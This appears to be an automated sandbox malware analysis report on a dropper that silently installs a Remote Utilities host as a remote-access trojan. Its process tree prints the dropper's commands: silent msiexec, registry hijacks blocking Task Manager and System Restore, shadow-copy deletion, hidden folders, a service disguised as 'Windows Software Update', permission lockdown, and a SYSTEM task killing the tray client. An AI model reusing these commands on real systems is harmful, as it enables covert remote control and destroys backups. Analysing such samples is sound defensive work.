Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\ProductIcon = "C:\\Windows\\Installer\\{1E4AB2FC-B243-45C2-BF6A-A027213183CD}\\ARPPRODUCTICON.exe"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\AuthorizedLUAApp = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\all\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\Version = "117381916"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC\SourceList	reg.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
1192	msiexec.exe
1192	msiexec.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
1328	rfusclient.exe
1328	rfusclient.exe
1860	taskkill.exe
1860	taskkill.exe
3560	taskkill.EXE
3560	taskkill.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	884	msiexec.exe
Token: SeIncreaseQuotaPrivilege	884	msiexec.exe
Token: SeSecurityPrivilege	1192	msiexec.exe
Token: SeCreateTokenPrivilege	884	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	884	msiexec.exe
Token: SeLockMemoryPrivilege	884	msiexec.exe
Token: SeIncreaseQuotaPrivilege	884	msiexec.exe
Token: SeMachineAccountPrivilege	884	msiexec.exe
Token: SeTcbPrivilege	884	msiexec.exe
Token: SeSecurityPrivilege	884	msiexec.exe
Token: SeTakeOwnershipPrivilege	884	msiexec.exe
Token: SeLoadDriverPrivilege	884	msiexec.exe
Token: SeSystemProfilePrivilege	884	msiexec.exe
Token: SeSystemtimePrivilege	884	msiexec.exe
Token: SeProfSingleProcessPrivilege	884	msiexec.exe
Token: SeIncBasePriorityPrivilege	884	msiexec.exe
Token: SeCreatePagefilePrivilege	884	msiexec.exe
Token: SeCreatePermanentPrivilege	884	msiexec.exe
Token: SeBackupPrivilege	884	msiexec.exe
Token: SeRestorePrivilege	884	msiexec.exe
Token: SeShutdownPrivilege	884	msiexec.exe
Token: SeDebugPrivilege	884	msiexec.exe
Token: SeAuditPrivilege	884	msiexec.exe
Token: SeSystemEnvironmentPrivilege	884	msiexec.exe
Token: SeChangeNotifyPrivilege	884	msiexec.exe
Token: SeRemoteShutdownPrivilege	884	msiexec.exe
Token: SeUndockPrivilege	884	msiexec.exe
Token: SeSyncAgentPrivilege	884	msiexec.exe
Token: SeEnableDelegationPrivilege	884	msiexec.exe
Token: SeManageVolumePrivilege	884	msiexec.exe
Token: SeImpersonatePrivilege	884	msiexec.exe
Token: SeCreateGlobalPrivilege	884	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe
Token: SeRestorePrivilege	1192	msiexec.exe
Token: SeTakeOwnershipPrivilege	1192	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1608	rfusclient.exe
1608	rfusclient.exe
3836	rfusclient.exe
3836	rfusclient.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1608	rfusclient.exe
1608	rfusclient.exe
3836	rfusclient.exe
3836	rfusclient.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
2496	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3432	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3896	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe
3580	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 776 wrote to memory of 788	776	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe	68
PID 776 wrote to memory of 788	776	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe	68
PID 776 wrote to memory of 788	776	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe	68
PID 776 wrote to memory of 3120	776	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe	69
PID 776 wrote to memory of 3120	776	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe	69
PID 776 wrote to memory of 3120	776	6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe	69
PID 788 wrote to memory of 652	788	WScript.exe	70
PID 788 wrote to memory of 652	788	WScript.exe	70
PID 788 wrote to memory of 652	788	WScript.exe	70
PID 652 wrote to memory of 884	652	cmd.exe	72
PID 652 wrote to memory of 884	652	cmd.exe	72
PID 652 wrote to memory of 884	652	cmd.exe	72
PID 1192 wrote to memory of 1872	1192	msiexec.exe	75
PID 1192 wrote to memory of 1872	1192	msiexec.exe	75
PID 1192 wrote to memory of 1872	1192	msiexec.exe	75
PID 1192 wrote to memory of 2388	1192	msiexec.exe	76
PID 1192 wrote to memory of 2388	1192	msiexec.exe	76
PID 1192 wrote to memory of 2388	1192	msiexec.exe	76
PID 1192 wrote to memory of 2496	1192	msiexec.exe	77
PID 1192 wrote to memory of 2496	1192	msiexec.exe	77
PID 1192 wrote to memory of 2496	1192	msiexec.exe	77
PID 1192 wrote to memory of 3432	1192	msiexec.exe	78
PID 1192 wrote to memory of 3432	1192	msiexec.exe	78
PID 1192 wrote to memory of 3432	1192	msiexec.exe	78
PID 1192 wrote to memory of 3896	1192	msiexec.exe	79
PID 1192 wrote to memory of 3896	1192	msiexec.exe	79
PID 1192 wrote to memory of 3896	1192	msiexec.exe	79
PID 652 wrote to memory of 4016	652	cmd.exe	80
PID 652 wrote to memory of 4016	652	cmd.exe	80
PID 652 wrote to memory of 4016	652	cmd.exe	80
PID 652 wrote to memory of 8	652	cmd.exe	81
PID 652 wrote to memory of 8	652	cmd.exe	81
PID 652 wrote to memory of 8	652	cmd.exe	81
PID 652 wrote to memory of 3916	652	cmd.exe	83
PID 652 wrote to memory of 3916	652	cmd.exe	83
PID 652 wrote to memory of 3916	652	cmd.exe	83
PID 3580 wrote to memory of 1328	3580	rutserv.exe	85
PID 3580 wrote to memory of 1328	3580	rutserv.exe	85
PID 3580 wrote to memory of 1328	3580	rutserv.exe	85
PID 3580 wrote to memory of 1608	3580	rutserv.exe	84
PID 3580 wrote to memory of 1608	3580	rutserv.exe	84
PID 3580 wrote to memory of 1608	3580	rutserv.exe	84
PID 652 wrote to memory of 3752	652	cmd.exe	86
PID 652 wrote to memory of 3752	652	cmd.exe	86
PID 652 wrote to memory of 3752	652	cmd.exe	86
PID 652 wrote to memory of 2148	652	cmd.exe	87
PID 652 wrote to memory of 2148	652	cmd.exe	87
PID 652 wrote to memory of 2148	652	cmd.exe	87
PID 652 wrote to memory of 1168	652	cmd.exe	88
PID 652 wrote to memory of 1168	652	cmd.exe	88
PID 652 wrote to memory of 1168	652	cmd.exe	88
PID 652 wrote to memory of 3992	652	cmd.exe	89
PID 652 wrote to memory of 3992	652	cmd.exe	89
PID 652 wrote to memory of 3992	652	cmd.exe	89
PID 652 wrote to memory of 3736	652	cmd.exe	90
PID 652 wrote to memory of 3736	652	cmd.exe	90
PID 652 wrote to memory of 3736	652	cmd.exe	90
PID 652 wrote to memory of 576	652	cmd.exe	91
PID 652 wrote to memory of 576	652	cmd.exe	91
PID 652 wrote to memory of 576	652	cmd.exe	91
PID 652 wrote to memory of 3148	652	cmd.exe	92
PID 652 wrote to memory of 3148	652	cmd.exe	92
PID 652 wrote to memory of 3148	652	cmd.exe	92
PID 652 wrote to memory of 3860	652	cmd.exe	94

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1168	attrib.exe
3992	attrib.exe

C:\Users\Admin\AppData\Local\Temp\6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe
"C:\Users\Admin\AppData\Local\Temp\6d1480cd5b10739af130850f9d9bfa7ebe50024c5db68dd231bc7e4bd560ffa6.bin.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:776
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\all\run.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\all\Run.cmd" "
    3⤵
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\SysWOW64\msiexec.exe
      msiexec /i msi.msi /qn
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:884
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t Reg_sz /d "C:\windows\taskmgr.exe" /f
      4⤵
      PID:4016
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe" /v Debugger /t Reg_sz /d "C:\windows\rstrui.exe" /f
      4⤵
      PID:8
  - - C:\Windows\SysWOW64\timeout.exe
      TIMEOUT /T 10
      4⤵
      Delays execution with timeout.exe
      PID:3916
  - - C:\Windows\SysWOW64\reg.exe
      reg delete HKEY_CLASSES_ROOT\Installer\Products\CF2BA4E1342B2C54FBA60A72121338DC /f
      4⤵
      Modifies registry class
      PID:3752
  - - C:\Windows\SysWOW64\reg.exe
      reg delete HKEY_CLASSES_ROOT\Installer\Products\B382549EC85704A48B1501660D4EE98A /f
      4⤵
      PID:2148
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h "C:\Program Files\Remote Utilities - Host"
      4⤵
      Views/modifies file attributes
      PID:1168
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h "C:\Program Files (x86)\Remote Utilities - Host"
      4⤵
      Drops file in Program Files directory
      Views/modifies file attributes
      PID:3992
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService displayname= "Windows Software Update"
      4⤵
      PID:3736
  - - C:\Windows\SysWOW64\sc.exe
      sc Description RManService "Microsoft Windows Software Update"
      4⤵
      PID:576
  - - C:\Windows\SysWOW64\vssadmin.exe
      Vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3148
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "Themes" /tr "taskkill /F /FI \"USERNAME eq Admin\" /IM rfusclient.exe" /sc onlogon /ru "SYSTEM"
      4⤵
      Creates scheduled task(s)
      PID:3860
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /TN "Themes"
      4⤵
      PID:3112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Remote Utilities - Host" /setowner "NT Service\TrustedInstaller"
      4⤵
      Modifies file permissions
      PID:2480
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files\Remote Utilities - Host" /grant:r system:(RX,W) /inheritance:r
      4⤵
      Modifies file permissions
      PID:3488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Remote Utilities - Host" /setowner "NT Service\TrustedInstaller"
      4⤵
      Modifies file permissions
      PID:2428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Remote Utilities - Host" /grant:r system:(RX,W) /inheritance:r
      4⤵
      Modifies file permissions
      PID:3752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /FI "USERNAME eq Admin" /IM rfusclient.exe
      4⤵
      Kills process with taskkill
      Suspicious behavior: EnumeratesProcesses
      PID:1860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\all\error.vbs"
  2⤵
  PID:3120

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding BAB742E475E4056717E54C88A272DDEB
  2⤵
  - Loads dropped DLL
  PID:1872
- C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe
  "C:\Program Files (x86)\Remote Utilities - Host\rfusclient.exe" -msi_copy "C:\Users\Admin\AppData\Local\Temp\all\msi.msi"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:2388
- C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe
  "C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe" /silentinstall
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2496
- C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe
  "C:\Program Files (x86)\Remote Utilities - Host\rutserv.exe" /firewall
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3432
